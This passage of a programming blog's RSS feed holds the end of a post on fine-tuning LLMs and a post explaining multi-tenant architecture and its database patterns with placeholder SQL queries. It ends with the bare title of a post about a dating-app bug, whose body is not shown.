data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;We have everything we need now, let&amp;rsquo;s review the overall process.&lt;/p&gt;&#xA;&lt;h2 id=&#34;llm-fine-tuning-tutorials&#34;&gt;LLM Fine-tuning Tutorials&lt;/h2&gt;&#xA;&lt;p&gt;For Fine-tuning I found these videos quite enjoyable, short and straight to the point, however I could not produce a working model, it is possible that the notebooks were outdated and probably my inexperience make me fail.&lt;/p&gt;&#xA;&lt;p&gt;This is a good introduction but does not share the jupyter notebook, although I was able to find it on Google Colab. I put the link in the next section.&lt;/p&gt;&#xA;&lt;div style=&#34;position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;&#34;&gt;&#xA;      &lt;iframe allow=&#34;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen&#34; loading=&#34;eager&#34; referrerpolicy=&#34;strict-origin-when-cross-origin&#34; src=&#34;https://www.youtube.com/embed/pxhkDaKzBaY?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0&#34; style=&#34;position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;&#34; title=&#34;YouTube video&#34;&gt;&lt;/iframe&gt;&#xA;    &lt;/div&gt;&#xA;&#xA;&lt;p&gt;He is a bit more specific and concise.&lt;/p&gt;&#xA;&lt;div style=&#34;position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;&#34;&gt;&#xA;      &lt;iframe allow=&#34;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen&#34; loading=&#34;eager&#34; referrerpolicy=&#34;strict-origin-when-cross-origin&#34; src=&#34;https://www.youtube.com/embed/Q9zv369Ggfk?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0&#34; style=&#34;position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;&#34; title=&#34;YouTube video&#34;&gt;&lt;/iframe&gt;&#xA;    &lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Now we know the overall process, where can we find some template for fine-tuning?&lt;/p&gt;&#xA;&lt;h2 id=&#34;notebooks-for-llm-fine-tuning&#34;&gt;Notebooks for LLM fine-tuning.&lt;/h2&gt;&#xA;&lt;p&gt;This was &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/brevdev/notebooks/blob/main/mistral-finetune-own-data.ipynb&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;the notebook that allowed me to fine-tuning the Mistral model&lt;/a&gt;&#xA;, with a couple of modifications, of course.&lt;/p&gt;&#xA;&lt;p&gt;Most of the notebooks just need you to change the model and adapt the dataset to the model input, so you can use them as a starting point for your particular case.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Others that I found particularly well documented but did not work for me or produced unwanted results are these:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.kaggle.com/code/kingabzpro/fine-tuning-deepseek-r1-reasoning-model&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Fine-tuning DeepSeek R1&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://colab.research.google.com/drive/135ced7oHytdxu3N2DNe1Z0kqjyYIkDXp&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Alpaca + Flame fine-tuning&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;where-to-deploy-an-llm-model&#34;&gt;Where to deploy an LLM model?&lt;/h2&gt;&#xA;&lt;p&gt;After creating your model you may want to make it available to others.&lt;/p&gt;&#xA;&lt;p&gt;Generally there are tools like Gradio that abstract the process of generating a chat server like OpenAI, you can set them up on your own or use the ones available from HuggingFace, although obviously for a monthly cost, the free plans only have CPU and RAM, so it is usually not enough to run your LLM, especially the big ones.&lt;/p&gt;&#xA;&lt;p&gt;Since my project was for educational purposes and I don&amp;rsquo;t want to pay for a premium plan, I decided to put the code necessary to run my model in a &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://colab.research.google.com/drive/1Fe348rmXbDyvjoDPGEKrBtPurpfwnFgG&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;GoogleColab notebook with the necessary code to run it.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;I tried to fine-tune a DeepSeek model but I failed, then I tried to do it with Llama and I couldn&amp;rsquo;t make it work, finally I succeeded with a Mistral model, specifically the 7B parameter model.&lt;/p&gt;&#xA;&lt;p&gt;I felt completely lost, lots of tutorials but none seemed to work, hence I decided to share with my readers my notes and some resources that I found useful during the process.&lt;/p&gt;&#xA;&lt;p&gt;Still, don&amp;rsquo;t get confused by this, I still believe that &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/ai-is-overhyped-when-will-the-bubble-burst/&#34;&gt;AI is overhyped, but that will change soon&lt;/a&gt;&#xA;.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Multi Tenant Architecture in Software: What Is It and Its Databases Patterns</title>
      <link>https://coffeebytes.dev/en/software-architecture/multi-tenant-architecture-in-software-what-is-it-and-its-databases-patterns/</link>
      <pubDate>Tue, 28 Jan 2025 17:44:50 -0600</pubDate>
      <guid>https://coffeebytes.dev/en/software-architecture/multi-tenant-architecture-in-software-what-is-it-and-its-databases-patterns/</guid>
      
      <category>software architecture</category>
      
      <category>databases</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;The &lt;strong&gt;multi tenant architecture&lt;/strong&gt; is a software architecture (Don&amp;rsquo;t confuse it with a &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/python/design-patterns-in-software/&#34;&gt;design pattern&lt;/a&gt;&#xA; or &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/common-and-useful-deployment-patterns/&#34;&gt;deployment pattern&lt;/a&gt;&#xA;) approach where &lt;strong&gt;a single instance of an application serves multiple tenants&lt;/strong&gt;. You&amp;rsquo;ve probably come in contact with this architecture when using dropbox, Slack or any project management SAAS.&lt;/p&gt;&#xA;&lt;p&gt;In multi-tenant architecture, each tenant can be a company, a group or an individual user, and although they share the same infrastructure and code base, their respective data is &lt;strong&gt;isolated and customized&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;simple-example-of-a-multi-tenant-application-a-modern-coworking&#34;&gt;Simple example of a multi-tenant application: A modern coworking&lt;/h2&gt;&#xA;&lt;p&gt;Multi-tenant architecture is like a modern office building where different companies (tenants) (like wework but less corrupt) share the same physical infrastructure - elevators, security systems, utilities, and building management - but each company has completely isolated office spaces with their own data, configurations, and customizations that other companies cannot access.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Just as the building owner maintains one set of systems while serving multiple businesses, a multi-tenant application serves multiple organizations using a single instance of the software and database infrastructure, &lt;strong&gt;with strict data isolation between tenants&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;This differs from a simple multi-user application, which is more like a single company&amp;rsquo;s office where all employees share the same workspace, company data, and settings - everyone sees the same information and operates under the same organizational rules, whereas in multi-tenant systems, each tenant operates as if they have their own completely separate application with their own user base, data, and often customized features.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1738123971/meme-millenial-cloud-provider_vzisiz.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1738123971/meme-millenial-cloud-provider_vzisiz.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Oh god no more AI API calls&#34; width=&#34;460&#34; height=&#34;466&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Taking it to a more real scenery, imagine you want to implement a service for managing small supermarket stores. Each separate store would represent a tenant, and each tenant is going to operate differently from the rest, have its own configuration, its own customers, suppliers and any other custom settings, plus the information of each supermarket store will be private.&lt;/p&gt;&#xA;&lt;h2 id=&#34;how-is-the-multi-tenant-architecture-different-from-user-accounts&#34;&gt;How is the multi-tenant architecture different from user accounts?&lt;/h2&gt;&#xA;&lt;p&gt;When I first read about this architecture I could not find the differences between, say a highly configurable application, like MySpace, for example, and a multi-tenant one. Probably for you the difference was very clear but for me it took me by surprise and I had to research about it, although I was certainly not the only one to ask &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://stackoverflow.com/questions/48378789/what-is-the-difference-between-tenant-and-user&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;the difference between users and multi-tenant&lt;/a&gt;&#xA;:&lt;/p&gt;&#xA;&lt;table&gt;&#xA;  &lt;thead&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;th&gt;&lt;strong&gt;Aspect&lt;/strong&gt;&lt;/th&gt;&#xA;          &lt;th&gt;&lt;strong&gt;User Accounts&lt;/strong&gt;&lt;/th&gt;&#xA;          &lt;th&gt;&lt;strong&gt;Multi-Tenant Application&lt;/strong&gt;&lt;/th&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/thead&gt;&#xA;  &lt;tbody&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Definition&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Individual profiles within a shared application.&lt;/td&gt;&#xA;          &lt;td&gt;A single instance of an application serving multiple clients (tenants), each with its own isolated space.&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Isolation Level&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;All users share the same data and general configurations.&lt;/td&gt;&#xA;          &lt;td&gt;Each tenant&amp;rsquo;s data and configurations are isolated from others.&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Customization&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Limited to the user level (such as themes or personal settings).&lt;/td&gt;&#xA;          &lt;td&gt;Each tenant can have different configurations, branding, or even functionalities.&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Simple Example&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;An online forum where users have accounts but share the same categories and posts.&lt;/td&gt;&#xA;          &lt;td&gt;Google Workspace (formerly G Suite), where each company (tenant) has its own email, Drive, and users.&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Main Purpose&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Managing multiple users within a single shared system.&lt;/td&gt;&#xA;          &lt;td&gt;Managing multiple separate clients, each with several users and unique needs.&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Shared Data&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Data is typically stored in a single space, shared by all users.&lt;/td&gt;&#xA;          &lt;td&gt;Each tenant&amp;rsquo;s data is segregated, even if using the same database.&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;how-to-manage-databases-in-a-multi-tenant-application&#34;&gt;How to manage databases in a multi-tenant application?&lt;/h2&gt;&#xA;&lt;p&gt;A multi-tenant application will have to record and store information from each tenant and therefore there will be a database, but when handling multiple tenants, it will be inevitable to ask ourselves: How do we design our database(s)? Do we divide the tenants by database or by table? Is it a good idea to have one database for all of them instead?&lt;/p&gt;&#xA;&lt;p&gt;Well, there are different paradigms in this regard, each with its advantages and disadvantages.&lt;/p&gt;&#xA;&lt;h3 id=&#34;one-database-and-one-schema-for-all-tenants&#34;&gt;One database and one schema for all tenants.&lt;/h3&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;A single database and a single schema, with different tables for each tenant. The simplest and easiest architecture to implement, but comes with poor isolation and customization. You can identify each tenant by an unique id.&lt;/p&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;architecture-beta&#xA;    group api(database)[Database]&#xA;&#xA;    service schema(logos:datasette-icon)[Schema] in api&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &lt;p&gt;A SQL query would look like this&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;SELECT * FROM &amp;lt;table&amp;gt; WHERE &amp;lt;tenant_id_column&amp;gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;&amp;lt;id&amp;gt;&amp;#39;&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;a-database-for-each-tenant&#34;&gt;A database for each tenant&lt;/h3&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;A database for each tenant. The most expensive when it comes to resources but provides the best isolation and full customization level. You can identify a tenant by its schema.&lt;/p&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;architecture-beta&#xA;    group app[App]&#xA;&#xA;    service db1(database)[Database] in app&#xA;    service db2(database)[Database] in app&#xA;    service db3(database)[Database] in app&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &lt;p&gt;A SQL query would look like this&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Connect to database first&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;\c&lt;/span&gt; &amp;lt;tenant_database&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;SELECT * FROM &amp;lt;tenant&amp;gt;.&amp;lt;table&amp;gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;one-database-but-different-schemas-for-each-tenant&#34;&gt;One database but different schemas for each tenant.&lt;/h3&gt;&#xA;&lt;p&gt;A single database for all tenants but a different schema for each tenant. Customizable and separation of schemas maintains some level of isolation, but complexity increases. You can identify a tenant by its schema.&lt;/p&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;architecture-beta&#xA;    group api(database)[Database]&#xA;&#xA;    service schema1(logos:datasette-icon)[Schema] in api&#xA;    service schema2(logos:datasette-icon)[Schema] in api&#xA;    service schema3(logos:datasette-icon)[Schema] in api&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &lt;p&gt;A SQL query would look like this&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;SELECT * FROM &amp;lt;tenant&amp;gt;.&amp;lt;table&amp;gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now you got an overall idea of the multi tenant pattern and hopefully can use it in your SAAS adventures.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;The &lt;strong&gt;multi tenant architecture&lt;/strong&gt; is a software architecture (Don&amp;rsquo;t confuse it with a &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/python/design-patterns-in-software/&#34;&gt;design pattern&lt;/a&gt;&#xA; or &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/common-and-useful-deployment-patterns/&#34;&gt;deployment pattern&lt;/a&gt;&#xA;) approach where &lt;strong&gt;a single instance of an application serves multiple tenants&lt;/strong&gt;. You&amp;rsquo;ve probably come in contact with this architecture when using dropbox, Slack or any project management SAAS.&lt;/p&gt;&#xA;&lt;p&gt;In multi-tenant architecture, each tenant can be a company, a group or an individual user, and although they share the same infrastructure and code base, their respective data is &lt;strong&gt;isolated and customized&lt;/strong&gt;.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>I took advantage of an error in the code of a dating app</title>
      <link>https://coffeebytes.dev/en/javascript/i-took-advantage-of-an-error-in-the-code-of-a-dating-app/</link>
      <pubDate>Fri, 03 Jan 2025 20:36:36 -0600</pubDate>
      <guid>https://coffeebytes.dev/en/javascript/i-took-advantage-of-an-error-in-the-code-of-a-dating-app/</guid>
      
      <category>javascript</category>
      
      <category>software architecture</category>
      
      
      
      
      
